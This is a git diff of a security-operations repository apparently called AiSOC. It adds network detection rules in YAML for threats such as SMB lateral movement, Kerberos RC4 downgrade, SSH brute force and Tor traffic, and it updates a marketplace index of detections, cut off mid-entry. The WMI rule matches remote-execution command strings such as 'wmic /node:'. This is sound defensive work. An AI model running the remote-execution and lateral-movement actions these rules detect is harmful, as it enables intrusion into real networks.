tpl-c2+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/network/kerberos-encryption-downgrade.yaml b/detections/network/kerberos-encryption-downgrade.yamlnew file mode 100644index 000000000..93b9e5f00--- /dev/null+++ b/detections/network/kerberos-encryption-downgrade.yaml@@ -0,0 +1,24 @@+id: det-network-029+name: Kerberos Encryption Downgrade to RC4+description: AiSOC v1 curated detection. Triggers on the network signal described by 'Kerberos Encryption+ Downgrade to RC4'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: medium+tags:+- mitre.attack.t1558.003+- tlp.white+category: network+log_source:+ product: windows+ service: security+detection:+ condition: |+ event_id == 4768+ AND ticket_encryption IN ["RC4-HMAC", "0x17"]+false_positives:+- Legacy applications requiring RC4 (host_role=legacy tag)+playbook: tpl-credential-theft+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/network/ldap-bind-anomaly.yaml b/detections/network/ldap-bind-anomaly.yamlnew file mode 100644index 000000000..f235ec0e4--- /dev/null+++ b/detections/network/ldap-bind-anomaly.yaml@@ -0,0 +1,25 @@+id: det-network-017+name: LDAP Bind from Workstation to Domain Controller (Excessive)+description: AiSOC v1 curated detection. Triggers on the network signal described by 'LDAP Bind from Workstation+ to Domain Controller (Excessive)'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: medium+tags:+- mitre.attack.t1087.002+- tlp.white+category: network+log_source:+ product: windows+ service: directory-service+detection:+ condition: |+ event_id == 1644+ AND ldap_query_count_per_src > 200+ AND time_window_minutes < 5+false_positives:+- Legitimate identity-management tooling (allowlist principal)+playbook: tpl-recon+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/network/newly-registered-domain-traffic.yaml b/detections/network/newly-registered-domain-traffic.yamlnew file mode 100644index 000000000..6e4ee2199--- /dev/null+++ b/detections/network/newly-registered-domain-traffic.yaml@@ -0,0 +1,24 @@+id: det-network-008+name: Outbound HTTP(S) to Newly Registered Domain+description: AiSOC v1 curated detection. Triggers on the network signal described by 'Outbound HTTP(S)+ to Newly Registered Domain'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: medium+tags:+- mitre.attack.t1071.001+- tlp.white+category: network+log_source:+ product: proxy+ service: http+detection:+ condition: |+ domain_age_days < 7+ AND method IN ["GET", "POST", "CONNECT"]+false_positives:+- Marketing campaigns and event-specific landing pages+playbook: tpl-c2+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/network/ntp-amplification.yaml b/detections/network/ntp-amplification.yamlnew file mode 100644index 000000000..6339ec8b8--- /dev/null+++ b/detections/network/ntp-amplification.yaml@@ -0,0 +1,27 @@+id: det-network-027+name: NTP Amplification Reflector Attack (Inbound monlist)+description: AiSOC v1 curated detection. Triggers on the network signal described by 'NTP Amplification+ Reflector Attack (Inbound monlist)'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1498.002+- tlp.white+category: network+log_source:+ product: ndr+ service: flow+detection:+ condition: |+ protocol == "UDP"+ AND src_port == 123+ AND dst_port == 123+ AND ntp_command == "monlist"+ AND src_ip_class == "internet"+false_positives:+- Legacy NTP misconfiguration (must be patched)+playbook: tpl-ddos+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/network/outbound-clear-text-protocol.yaml b/detections/network/outbound-clear-text-protocol.yamlnew file mode 100644index 000000000..61303a287--- /dev/null+++ b/detections/network/outbound-clear-text-protocol.yaml@@ -0,0 +1,24 @@+id: det-network-026+name: Outbound Clear-Text Protocol Carrying Credentials+description: AiSOC v1 curated detection. Triggers on the network signal described by 'Outbound Clear-Text+ Protocol Carrying Credentials'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: medium+tags:+- mitre.attack.t1040+- tlp.white+category: network+log_source:+ product: ndr+ service: flow+detection:+ condition: |+ protocol == "TCP"+ AND dst_port IN [23, 21, 110, 143]+false_positives:+- Legacy systems pending decommission (host_role=legacy tag)+playbook: tpl-account-compromise+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/network/p2p-protocol-on-corp-net.yaml b/detections/network/p2p-protocol-on-corp-net.yamlnew file mode 100644index 000000000..b4d8820bf--- /dev/null+++ b/detections/network/p2p-protocol-on-corp-net.yaml@@ -0,0 +1,23 @@+id: det-network-028+name: Peer-to-Peer Protocol on Corporate Network+description: AiSOC v1 curated detection. Triggers on the network signal described by 'Peer-to-Peer Protocol+ on Corporate Network'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: low+tags:+- mitre.attack.t1071+- tlp.white+category: network+log_source:+ product: ndr+ service: flow+detection:+ condition: |+ protocol_app IN ["bittorrent", "edonkey", "gnutella"]+false_positives:+- Engineering download of OSS images via torrent (allowlist hosts)+playbook: tpl-account-anomaly+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/network/port-scan-internal.yaml b/detections/network/port-scan-internal.yamlindex ffb2fae5c..f910fc946 100644--- a/detections/network/port-scan-internal.yaml+++ b/detections/network/port-scan-internal.yaml@@ -1,32 +1,25 @@-id: det-net-003+id: det-network-003name: Internal Network Port Scan-description: >- Detects lateral movement or reconnaissance activity where a single source- host initiates connections to more than 20 distinct destination ports on- 10 or more distinct internal hosts within a five-minute window.-version: "1.0.0"-severity: medium+description: Detects horizontal and vertical port scanning activity originating from inside the network.+ Often the first sign of an attacker performing reconnaissance after gaining initial foothold.+version: 1.0.0+severity: hightags:- - mitre.attack.t1046- - tlp.white+- mitre.attack.t1046+- tlp.whitecategory: networklog_source:- product: network-firewall- service: flow-logs+ product: ndr+ service: flowdetection:condition: |- src_ip IN ["10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16"]- AND dest_ip IN ["10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16"]- AND unique_dest_ports_per_src_per_5min > 20- AND unique_dest_hosts_per_src_per_5min > 10- filters:- - src_ip: vulnerability-scanner-cidrs+ distinct_ports_per_src > 50+ AND distinct_dst_per_src > 25+ AND time_window_minutes < 5false_positives:- - Authorised vulnerability scanners (Nessus, Qualys)- - Network inventory tools (Nmap scheduled scans)- - Configuration management systems (Ansible, Puppet)-playbook: tpl-phishing-triage+- Vulnerability scanners (must be allowlisted)+playbook: tpl-reconenabled: trueauthor: AiSOC-created: "2025-01-15"-modified: "2025-01-15"+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/network/rdp-from-internet.yaml b/detections/network/rdp-from-internet.yamlnew file mode 100644index 000000000..b133dde12--- /dev/null+++ b/detections/network/rdp-from-internet.yaml@@ -0,0 +1,25 @@+id: det-network-006+name: RDP From Internet to Internal Host+description: AiSOC v1 curated detection. Triggers on the network signal described by 'RDP From Internet+ to Internal Host'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: critical+tags:+- mitre.attack.t1133+- tlp.white+category: network+log_source:+ product: ndr+ service: flow+detection:+ condition: |+ src_ip_class == "internet"+ AND dst_port == 3389+ AND dst_ip_class == "internal"+false_positives:+- Approved jump-host (must be allowlisted)+playbook: tpl-cloud-anomaly+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/network/rdp-screen-takeover.yaml b/detections/network/rdp-screen-takeover.yamlnew file mode 100644index 000000000..baa12b39e--- /dev/null+++ b/detections/network/rdp-screen-takeover.yaml@@ -0,0 +1,25 @@+id: det-network-022+name: RDP Logon Session With Concurrent Active Console Session+description: AiSOC v1 curated detection. Triggers on the network signal described by 'RDP Logon Session+ With Concurrent Active Console Session'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: medium+tags:+- mitre.attack.t1021.001+- tlp.white+category: network+log_source:+ product: windows+ service: security+detection:+ condition: |+ event_id == 4624+ AND logon_type == 10+ AND concurrent_console_session == true+false_positives:+- IT helpdesk shadow sessions (must be ticketed)+playbook: tpl-account-anomaly+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/network/smb-lateral-movement.yaml b/detections/network/smb-lateral-movement.yamlnew file mode 100644index 000000000..f60094693--- /dev/null+++ b/detections/network/smb-lateral-movement.yaml@@ -0,0 +1,26 @@+id: det-network-005+name: SMB Lateral Movement (Many ADMIN$ Connections)+description: AiSOC v1 curated detection. Triggers on the network signal described by 'SMB Lateral Movement+ (Many ADMIN$ Connections)'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1021.002+- tlp.white+category: network+log_source:+ product: windows+ service: security+detection:+ condition: |+ event_id == 5145+ AND share_name IN ["ADMIN$", "C$"]+ AND distinct_dst_per_src > 5+ AND time_window_minutes < 10+false_positives:+- Vulnerability scanners (must be allowlisted)+playbook: tpl-lateral-movement+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/network/smb-null-session.yaml b/detections/network/smb-null-session.yamlnew file mode 100644index 000000000..2c30723fe--- /dev/null+++ b/detections/network/smb-null-session.yaml@@ -0,0 +1,25 @@+id: det-network-016+name: SMB Null Session Attempt+description: AiSOC v1 curated detection. Triggers on the network signal described by 'SMB Null Session+ Attempt'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: medium+tags:+- mitre.attack.t1135+- tlp.white+category: network+log_source:+ product: windows+ service: security+detection:+ condition: |+ event_id == 4624+ AND logon_type == 3+ AND user == "ANONYMOUS LOGON"+false_positives:+- Legacy applications relying on null sessions (decommission ticketed)+playbook: tpl-recon+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/network/smb-signing-disabled-auth.yaml b/detections/network/smb-signing-disabled-auth.yamlnew file mode 100644index 000000000..05153f9b6--- /dev/null+++ b/detections/network/smb-signing-disabled-auth.yaml@@ -0,0 +1,24 @@+id: det-network-010+name: SMB Authentication Without Signing+description: AiSOC v1 curated detection. Triggers on the network signal described by 'SMB Authentication+ Without Signing'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: medium+tags:+- mitre.attack.t1557.001+- tlp.white+category: network+log_source:+ product: windows+ service: security+detection:+ condition: |+ event_id == 5158+ AND smb_signing_enabled == false+false_positives:+- Legacy hosts (host_role=legacy tag) pending decommission+playbook: tpl-credential-theft+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/network/snmp-public-community-internet.yaml b/detections/network/snmp-public-community-internet.yamlnew file mode 100644index 000000000..c529136c2--- /dev/null+++ b/detections/network/snmp-public-community-internet.yaml@@ -0,0 +1,26 @@+id: det-network-018+name: SNMP Public Community String Probe From Internet+description: AiSOC v1 curated detection. Triggers on the network signal described by 'SNMP Public Community+ String Probe From Internet'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: medium+tags:+- mitre.attack.t1190+- tlp.white+category: network+log_source:+ product: ndr+ service: flow+detection:+ condition: |+ protocol == "UDP"+ AND dst_port == 161+ AND src_ip_class == "internet"+ AND snmp_community IN ["public", "private"]+false_positives:+- Misconfigured legacy device (decommission ticketed)+playbook: tpl-recon+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/network/ssh-failed-from-internet.yaml b/detections/network/ssh-failed-from-internet.yamlnew file mode 100644index 000000000..7b2ba8645--- /dev/null+++ b/detections/network/ssh-failed-from-internet.yaml@@ -0,0 +1,27 @@+id: det-network-004+name: SSH Brute-Force From Internet+description: AiSOC v1 curated detection. Triggers on the network signal described by 'SSH Brute-Force+ From Internet'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1110.001+- tlp.white+category: network+log_source:+ product: linux+ service: auth+detection:+ condition: |+ event_type == "ssh-reject"+ AND outcome == "FAILURE"+ AND src_ip_class == "internet"+ AND fail_count > 30+ AND time_window_minutes < 10+false_positives:+- Misconfigured monitoring agent looping (rare)+playbook: tpl-account-compromise+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/network/tls-ja3-anomaly.yaml b/detections/network/tls-ja3-anomaly.yamlnew file mode 100644index 000000000..85c2e5628--- /dev/null+++ b/detections/network/tls-ja3-anomaly.yaml@@ -0,0 +1,23 @@+id: det-network-014+name: TLS JA3 Hash in Threat-Intel Match+description: AiSOC v1 curated detection. Triggers on the network signal described by 'TLS JA3 Hash in+ Threat-Intel Match'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1071.001+- tlp.white+category: network+log_source:+ product: ndr+ service: tls+detection:+ condition: |+ ja3_hash_in_threat_intel == true+false_positives:+- TI false-positives - retire JA3 hash via tuning workflow+playbook: tpl-c2+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/network/tls-self-signed-cert-conn.yaml b/detections/network/tls-self-signed-cert-conn.yamlnew file mode 100644index 000000000..6b0ce6919--- /dev/null+++ b/detections/network/tls-self-signed-cert-conn.yaml@@ -0,0 +1,24 @@+id: det-network-013+name: Outbound TLS to Server with Self-Signed Cert (Non-Allowed)+description: AiSOC v1 curated detection. Triggers on the network signal described by 'Outbound TLS to+ Server with Self-Signed Cert (Non-Allowed)'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: medium+tags:+- mitre.attack.t1573.002+- tlp.white+category: network+log_source:+ product: ndr+ service: tls+detection:+ condition: |+ tls_cert_self_signed == true+ AND dst_in_allowlist == false+false_positives:+- Internal services with self-signed certs by design (allowlist)+playbook: tpl-c2+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/network/tor-traffic.yaml b/detections/network/tor-traffic.yamlnew file mode 100644index 000000000..5f25b6ac6--- /dev/null+++ b/detections/network/tor-traffic.yaml@@ -0,0 +1,23 @@+id: det-network-007+name: Outbound Connection to Known Tor Exit+description: AiSOC v1 curated detection. Triggers on the network signal described by 'Outbound Connection+ to Known Tor Exit'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1090.003+- tlp.white+category: network+log_source:+ product: ndr+ service: flow+detection:+ condition: |+ dst_ip_in_tor_list == true+false_positives:+- Researcher / red team workstation (allowlist src)+playbook: tpl-c2+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/network/wmi-remote-execution.yaml b/detections/network/wmi-remote-execution.yamlnew file mode 100644index 000000000..527666bcc--- /dev/null+++ b/detections/network/wmi-remote-execution.yaml@@ -0,0 +1,26 @@+id: det-network-030+name: WMI Remote Process Creation From Workstation+description: AiSOC v1 curated detection. Triggers on the network signal described by 'WMI Remote Process+ Creation From Workstation'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1047+- mitre.attack.t1021.006+- tlp.white+category: network+log_source:+ product: windows+ service: security+detection:+ condition: |+ event_id == 4688+ AND process_command_line CONTAINS_ANY ["wmic /node:", "Invoke-WmiMethod -ComputerName"]+ AND src_role == "workstation"+false_positives:+- Approved admin scripting (allowlist users)+playbook: tpl-lateral-movement+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/marketplace/index.json b/marketplace/index.jsonindex b178238ed..3b29e296d 100644--- a/marketplace/index.json+++ b/marketplace/index.json@@ -1,7 +1,7 @@{"$schema": "https://aisoc.dev/schemas/marketplace/v1.json","version": "1.0.0",- "generated": "2025-01-15T00:00:00Z",+ "generated": "2026-05-04T08:01:43Z","categories": [{"id": "playbooks",@@ -11,274 +11,5929 @@{"id": "detections","label": "Detection Rules",- "description": "Sigma-inspired YAML rules for identifying malicious or suspicious activity."+ "description": "Curated YAML rules for identifying malicious or suspicious activity across cloud, identity, endpoint, network, application, and data-exfil categories."+ },+ {+ "id": "plugins",+ "label": "Plugins",+ "description": "Reference connectors, enrichers, actions, and widgets shipped with both Python and Go SDK implementations for cross-language parity."}],+ "stats": {+ "total": 265,+ "playbooks": 50,+ "detections": 200,+ "plugins": 15,+ "verified": 265,+ "community": 0+ },+ "mitre_coverage": {+ "techniques": {+ "T1003.001": 1,+ "T1003.006": 1,+ "T1021": 1,+ "T1021.001": 2,+ "T1021.002": 3,+ "T1021.006": 1,+ "T1027": 1,+ "T1040": 1,+ "T1041": 4,+ "T1046": 1,+ "T1047": 2,+ "T1048.003": 2,+ "T1052": 2,+ "T1052.001": 1,+ "T1053.003": 1,+ "T1053.005": 1,+ "T1055": 1,+ "T1059": 2,+ "T1059.001": 1,+ "T1059.002": 1,+ "T1059.004": 2,+ "T1068": 1,+ "T1069.003": 1,+ "T1070.001": 1,+ "T1071": 2,+ "T1071.001": 5,+ "T1071.004": 2,+ "T1078": 11,+ "T1078.001": 2,+ "T1078.004": 11,+ "T1083": 1,+ "T1087.002": 1,+ "T1087.004": 1,+ "T1090.003": 1,+ "T1095": 1,+ "T1098": 4,+ "T1098.001": 7,+ "T1098.003": 1,+ "T1098.004": 1,+ "T1110": 2,+ "T1110.001": 2,+ "T1110.003": 1,+ "T1110.004": 2,+ "T1113": 1,+ "T1114.002": 1,+ "T1114.003": 1,+ "T1133": 2,+ "T1135": 1,+ "T1136.001": 2,+ "T1176": 1,+ "T1190": 16,+ "T1195": 2,+ "T1195.002": 3,+ "T1199": 4,+ "T1204.001": 1,+ "T1204.002": 1,+ "T1212": 2,+ "T1218": 1,+ "T1219": 1,+ "T1484.001": 1,+ "T1485": 5,+ "T1486": 5,+ "T1490": 2,+ "T1498": 2,+ "T1498.001": 2,+ "T1498.002": 2,+ "T1505.003": 2,+ "T1525": 3,+ "T1528": 1,+ "T1530": 19,+ "T1531": 1,+ "T1539": 2,+ "T1543.001": 1,+ "T1543.003": 1,+ "T1543.004": 1,+ "T1547.001": 1,+ "T1547.006": 1,+ "T1548.001": 1,+ "T1548.003": 1,+ "T1550.002": 1,+ "T1550.004": 1,+ "T1552.001": 6,+ "T1552.004": 1,+ "T1553.001": 2,+ "T1555": 1,+ "T1555.003": 1,+ "T1555.005": 1,+ "T1556": 3,+ "T1556.006": 3,+ "T1556.007": 1,+ "T1557": 1,+ "T1557.001": 1,+ "T1558.001": 1,+ "T1558.002": 1,+ "T1558.003": 3,+ "T1558.004": 1,+ "T1560.001": 3,+ "T1562.001": 4,+ "T1562.004": 1,+ "T1562.006": 1,+ "T1562.008": 6,+ "T1564.008": 1,+ "T1565.001": 2,+ "T1566": 1,+ "T1566.001": 1,+ "T1566.002": 1,+ "T1567": 7,+ "T1567.002": 3,+ "T1568.001": 1,+ "T1572": 2,+ "T1573.002": 1,+ "T1574.002": 2,+ "T1578.002": 1,+ "T1592": 2,+ "T1595.002": 1,+ "T1606.002": 1,+ "T1609": 1,+ "T1611": 2,+ "T1621": 2,+ "T1656": 1+ },+ "unique_techniques": 120,+ "total_with_mitre": 247+ },"items": [{- "id": "tpl-malware-triage",+ "id": "det-application-001",+ "type": "detection",+ "name": "SQL Injection Attempt in HTTP Query",+ "description": "Detects HTTP requests containing common SQL injection payload patterns in query strings or POST bodies. Strong indicator of automated probing or active exploitation against web applications.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "application",+ "mitre_techniques": [+ "T1190"+ ],+ "log_source": "waf",+ "playbook": "tpl-webattack",+ "verified": true,+ "source": "core",+ "path": "detections/application/sql-injection-attempt.yaml"+ },+ {+ "id": "det-application-002",+ "type": "detection",+ "name": "Cross-Site Scripting Attempt",+ "description": "AiSOC v1 curated detection. Triggers on the application signal described by 'Cross-Site Scripting Attempt'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "application",+ "mitre_techniques": [+ "T1190"+ ],+ "log_source": "waf",+ "playbook": "tpl-webattack",+ "verified": true,+ "source": "core",+ "path": "detections/application/xss-attempt.yaml"+ },+ {+ "id": "det-application-003",+ "type": "detection",+ "name": "Path Traversal Attempt in HTTP Request",+ "description": "AiSOC v1 curated detection. Triggers on the application signal described by 'Path Traversal Attempt in HTTP Request'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "application",+ "mitre_techniques": [+ "T1083"+ ],+ "log_source": "waf",+ "playbook": "tpl-webattack",+ "verified": true,+ "source": "core",+ "path": "detections/application/path-traversal.yaml"+ },+ {+ "id": "det-application-004",+ "type": "detection",+ "name": "SSRF Attempt to Cloud Metadata Endpoint",+ "description": "AiSOC v1 curated detection. Triggers on the application signal described by 'SSRF Attempt to Cloud Metadata Endpoint'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "application",+ "mitre_techniques": [+ "T1190",+ "T1212"+ ],+ "log_source": "waf",+ "playbook": "tpl-webattack",+ "verified": true,+ "source": "core",+ "path": "detections/application/ssrf-attempt.yaml"+ },+ {+ "id": "det-application-005",+ "type": "detection",+ "name": "Log4Shell JNDI Pattern in HTTP Header",+ "description": "AiSOC v1 curated detection. Triggers on the application signal described by 'Log4Shell JNDI Pattern in HTTP Header'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "application",+ "mitre_techniques": [+ "T1190"+ ],+ "log_source": "waf",+ "playbook": "tpl-webattack",+ "verified": true,+ "source": "core",+ "path": "detections/application/log4shell.yaml"+ },+ {+ "id": "det-application-006",+ "type": "detection",+ "name": "Webshell File Upload Pattern",+ "description": "AiSOC v1 curated detection. Triggers on the application signal described by 'Webshell File Upload Pattern'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "application",+ "mitre_techniques": [+ "T1505.003"+ ],+ "log_source": "waf",+ "playbook": "tpl-webshell",+ "verified": true,+ "source": "core",+ "path": "detections/application/webshell-upload.yaml"+ },+ {+ "id": "det-application-007",+ "type": "detection",+ "name": "OS Command Injection in HTTP Parameter",+ "description": "AiSOC v1 curated detection. Triggers on the application signal described by 'OS Command Injection in HTTP Parameter'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "application",+ "mitre_techniques": [+ "T1059"+ ],+ "log_source": "waf",+ "playbook": "tpl-webattack",+ "verified": true,+ "source": "core",+ "path": "detections/application/command-injection.yaml"+ },+ {+ "id": "det-application-008",+ "type": "detection",+ "name": "Rate Limit Burst on Authentication Endpoint",+ "description": "AiSOC v1 curated detection. Triggers on the application signal described by 'Rate Limit Burst on Authentication Endpoint'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "application",+ "mitre_techniques": [+ "T1110"+ ],+ "log_source": "waf",+ "playbook": "tpl-account-compromise",+ "verified": true,+ "source": "core",+ "path": "detections/application/rate-limit-burst.yaml"+ },+ {+ "id": "det-application-009",+ "type": "detection",+ "name": "GraphQL Introspection Query in Production",+ "description": "AiSOC v1 curated detection. Triggers on the application signal described by 'GraphQL Introspection Query in Production'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "low",+ "category": "application",+ "mitre_techniques": [+ "T1592"+ ],+ "log_source": "waf",+ "playbook": "tpl-recon",+ "verified": true,+ "source": "core",+ "path": "detections/application/graphql-introspection.yaml"+ },+ {+ "id": "det-application-010",+ "type": "detection",+ "name": "Hard-Coded API Key Pattern Leaked in HTTP Request",+ "description": "AiSOC v1 curated detection. Triggers on the application signal described by 'Hard-Coded API Key Pattern Leaked in HTTP Request'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "application",+ "mitre_techniques": [+ "T1552.001"+ ],+ "log_source": "waf",+ "playbook": "tpl-secret-leak",+ "verified": true,+ "source": "core",+ "path": "detections/application/api-key-leak-in-request.yaml"+ },+ {+ "id": "det-application-011",+ "type": "detection",+ "name": "Known-Bad Scanner User-Agent",+ "description": "AiSOC v1 curated detection. Triggers on the application signal described by 'Known-Bad Scanner User-Agent'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "low",+ "category": "application",+ "mitre_techniques": [+ "T1595.002"+ ],+ "log_source": "waf",+ "playbook": "tpl-recon",+ "verified": true,+ "source": "core",+ "path": "detections/application/user-agent-known-tool.yaml"+ },+ {+ "id": "det-application-012",+ "type": "detection",+ "name": "JWT With alg=none in Authorization Header",+ "description": "AiSOC v1 curated detection. Triggers on the application signal described by 'JWT With alg=none in Authorization Header'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "application",+ "mitre_techniques": [+ "T1078"+ ],+ "log_source": "waf",+ "playbook": "tpl-account-compromise",+ "verified": true,+ "source": "core",+ "path": "detections/application/jwt-none-alg.yaml"+ },+ {+ "id": "det-application-013",+ "type": "detection",+ "name": "Open Redirect Pattern in URL Parameter",+ "description": "AiSOC v1 curated detection. Triggers on the application signal described by 'Open Redirect Pattern in URL Parameter'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "application",+ "mitre_techniques": [+ "T1204.001"+ ],+ "log_source": "waf",+ "playbook": "tpl-webattack",+ "verified": true,+ "source": "core",+ "path": "detections/application/open-redirect.yaml"+ },+ {+ "id": "det-application-014",+ "type": "detection",+ "name": "Build Pipeline Fetched Public Package With Internal Name",+ "description": "AiSOC v1 curated detection. Triggers on the application signal described by 'Build Pipeline Fetched Public Package With Internal Name'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "application",+ "mitre_techniques": [+ "T1195.002"+ ],+ "log_source": "build",+ "playbook": "tpl-supply-chain",+ "verified": true,+ "source": "core",+ "path": "detections/application/dependency-confusion-fetch.yaml"+ },+ {+ "id": "det-application-015",+ "type": "detection",+ "name": "Secret-Pattern Match in CI Job Log",+ "description": "AiSOC v1 curated detection. Triggers on the application signal described by 'Secret-Pattern Match in CI Job Log'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "application",+ "mitre_techniques": [+ "T1552.001"+ ],+ "log_source": "ci",+ "playbook": "tpl-secret-leak",+ "verified": true,+ "source": "core",+ "path": "detections/application/ci-secret-printed-to-log.yaml"+ },+ {+ "id": "det-application-016",+ "type": "detection",+ "name": "Push to Protected Branch by Non-Admin",+ "description": "AiSOC v1 curated detection. Triggers on the application signal described by 'Push to Protected Branch by Non-Admin'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "application",+ "mitre_techniques": [+ "T1195.002"+ ],+ "log_source": "github",+ "playbook": "tpl-supply-chain",+ "verified": true,+ "source": "core",+ "path": "detections/application/github-protected-branch-bypass.yaml"+ },+ {+ "id": "det-application-017",+ "type": "detection",+ "name": "Internal Repository Made Public",+ "description": "AiSOC v1 curated detection. Triggers on the application signal described by 'Internal Repository Made Public'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "application",+ "mitre_techniques": [+ "T1530"+ ],+ "log_source": "github",+ "playbook": "tpl-data-exposure",+ "verified": true,+ "source": "core",+ "path": "detections/application/github-public-repo-flip.yaml"+ },+ {+ "id": "det-application-018",+ "type": "detection",+ "name": "Kubernetes Pulled Image From Untrusted Registry",+ "description": "AiSOC v1 curated detection. Triggers on the application signal described by 'Kubernetes Pulled Image From Untrusted Registry'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "application",+ "mitre_techniques": [+ "T1525"+ ],+ "log_source": "kubernetes",+ "playbook": "tpl-supply-chain",+ "verified": true,+ "source": "core",+ "path": "detections/application/container-image-pulled-untrusted-registry.yaml"+ },+ {+ "id": "det-application-019",+ "type": "detection",+ "name": "Sequential ID Enumeration Pattern Against API",+ "description": "AiSOC v1 curated detection. Triggers on the application signal described by 'Sequential ID Enumeration Pattern Against API'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "application",+ "mitre_techniques": [+ "T1592"+ ],+ "log_source": "waf",+ "playbook": "tpl-data-exfil",+ "verified": true,+ "source": "core",+ "path": "detections/application/api-mass-enumeration-ids.yaml"+ },+ {+ "id": "det-application-020",+ "type": "detection",+ "name": "API Returned Object Outside Caller's Tenant",+ "description": "AiSOC v1 curated detection. Triggers on the application signal described by 'API Returned Object Outside Caller's Tenant'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "application",+ "mitre_techniques": [+ "T1212"+ ],+ "log_source": "app",+ "playbook": 